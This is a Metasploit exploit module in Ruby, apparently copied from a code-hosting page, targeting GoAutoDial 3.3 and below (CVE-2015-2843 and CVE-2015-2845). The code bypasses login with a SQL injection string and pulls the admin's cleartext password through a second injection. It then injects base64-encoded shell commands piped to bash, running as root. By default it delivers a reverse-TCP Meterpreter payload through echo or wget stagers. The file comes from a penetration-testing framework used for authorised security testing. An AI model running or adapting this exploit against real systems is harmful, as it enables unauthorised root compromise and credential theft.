164 lines
4.5 KiB
Ruby
164 lines
4.5 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
|
Rank = ExcellentRanking
|
|
|
|
include Msf::Exploit::Remote::HttpClient
|
|
include Msf::Exploit::CmdStager
|
|
|
|
def initialize(info = {})
|
|
super(update_info(info,
|
|
'Name' => 'GoAutoDial 3.3 Authentication Bypass / Command Injection',
|
|
'Description' => %q{
|
|
This module exploits a SQL injection flaw in the login functionality for GoAutoDial version 3.3-1406088000 and below, and attempts to perform command injection. This also attempts to retrieve the admin user details, including the cleartext password stored in the underlying database. Command injection will be performed with root privileges.
|
|
|
|
This module has been tested successfully on GoAutoDial version 3.3-1406088000.
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Author' =>
|
|
[
|
|
'Chris McCurley', # Discovery & Metasploit module
|
|
],
|
|
'References' =>
|
|
[
|
|
['CVE', '2015-2843'],
|
|
['CVE', '2015-2845']
|
|
],
|
|
'Platform' => 'linux',
|
|
'Arch' => [ ARCH_X86, ARCH_X64 ],
|
|
'Targets' => [ ['Automatic', {} ] ],
|
|
'DefaultOptions' =>
|
|
{
|
|
'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp',
|
|
'CMDSTAGER::FLAVOR' => 'echo'
|
|
},
|
|
'CmdStagerFlavor' => %w{ echo printf wget },
|
|
'DefaultTarget' => 0,
|
|
'Privileged' => true,
|
|
'DisclosureDate' => '2015-04-21'))
|
|
|
|
register_options(
|
|
[
|
|
OptPort.new('RPORT', [true, 'The target port', 443]),
|
|
OptBool.new('SSL', [false, 'Use SSL', true]),
|
|
OptString.new('TARGETURI', [true, 'The base path', '/'])
|
|
])
|
|
end
|
|
|
|
|
|
def check
|
|
res = check_version
|
|
|
|
unless res
|
|
vprint_error "#{peer} Connection failed"
|
|
return CheckCode::Unknown
|
|
end
|
|
|
|
unless res.code == 200 && res.body =~ /goautodial/
|
|
return CheckCode::Safe
|
|
end
|
|
|
|
unless res.body =~ /1421902800/
|
|
return CheckCode::Vulnerable
|
|
end
|
|
|
|
CheckCode::Safe
|
|
end
|
|
|
|
def check_version
|
|
uri = target_uri.path
|
|
|
|
send_request_cgi({
|
|
'uri' => normalize_uri(uri, 'changelog.txt'),
|
|
'headers' => {
|
|
'User-Agent' => 'Mozilla/5.0',
|
|
'Accept-Encoding' => 'identity'
|
|
}
|
|
})
|
|
end
|
|
|
|
def sqli_auth_bypass
|
|
uri = target_uri.path
|
|
|
|
send_request_cgi({
|
|
'method' => 'POST',
|
|
'uri' => normalize_uri(uri, 'index.php', 'go_login', 'validate_credentials'),
|
|
'headers' => {
|
|
'User-Agent' => 'Mozilla/5.0',
|
|
'Accept-Encoding' => 'identity'
|
|
},
|
|
'vars_post' => {
|
|
'user_name' => 'admin',
|
|
'user_pass' => "' or '"
|
|
}
|
|
})
|
|
end
|
|
|
|
def sqli_admin_pass
|
|
uri = target_uri.path
|
|
|
|
send_request_cgi({
|
|
'uri' => normalize_uri(uri, 'index.php', 'go_site', 'go_get_user_info', Rex::Text.uri_encode("' OR active='Y")),
|
|
'cookie' => @cookie,
|
|
'headers' => {
|
|
'User-Agent' => 'Mozilla/5.0',
|
|
'Accept-Encoding' => 'identity'
|
|
}
|
|
})
|
|
end
|
|
|
|
#
|
|
# Run the command stager
|
|
#
|
|
def execute_command(cmd, opts = {})
|
|
|
|
params = "|echo -n #{Rex::Text.encode_base64(cmd)} |base64 --decode|bash"
|
|
uri = target_uri.path
|
|
|
|
send_request_cgi({
|
|
'uri' => normalize_uri(uri, 'index.php', 'go_site', 'cpanel', Rex::Text.uri_encode(params)),
|
|
'cookie' => @cookie,
|
|
'headers' => {
|
|
'User-Agent' => 'Mozilla/5.0',
|
|
'Accept-Encoding' => 'identity'
|
|
}
|
|
})
|
|
end
|
|
|
|
def exploit
|
|
print_status("#{peer} - Trying SQL injection...")
|
|
res = sqli_auth_bypass
|
|
|
|
unless res
|
|
fail_with(Failure::Unknown, 'Connection failed')
|
|
end
|
|
|
|
if res.code == 200 && res.get_cookies.include?('go_session')
|
|
print_good("#{peer} - Authentication Bypass (SQLi) was successful")
|
|
else
|
|
fail_with(Failure::NotVulnerable, "Run 'check' command to identify whether the auth bypass has been fixed")
|
|
end
|
|
|
|
@cookie = res.get_cookies
|
|
print_status("#{peer} - Dumping admin password...")
|
|
res = sqli_admin_pass
|
|
|
|
unless res
|
|
fail_with(Failure::Unknown, 'Connection failed')
|
|
end
|
|
|
|
# Example response: admin|goautodial|Admin|||Y
|
|
if res.body.include?('|')
|
|
print_good("#{peer} - Found credentials: #{res.body}")
|
|
else
|
|
fail_with(Failure::NotVulnerable, 'No creds returned, possible mitigations are in place.')
|
|
end
|
|
|
|
print_status("#{peer} - Sending payload...")
|
|
execute_cmdstager(:linemax => 800)
|
|
end
|
|
end
|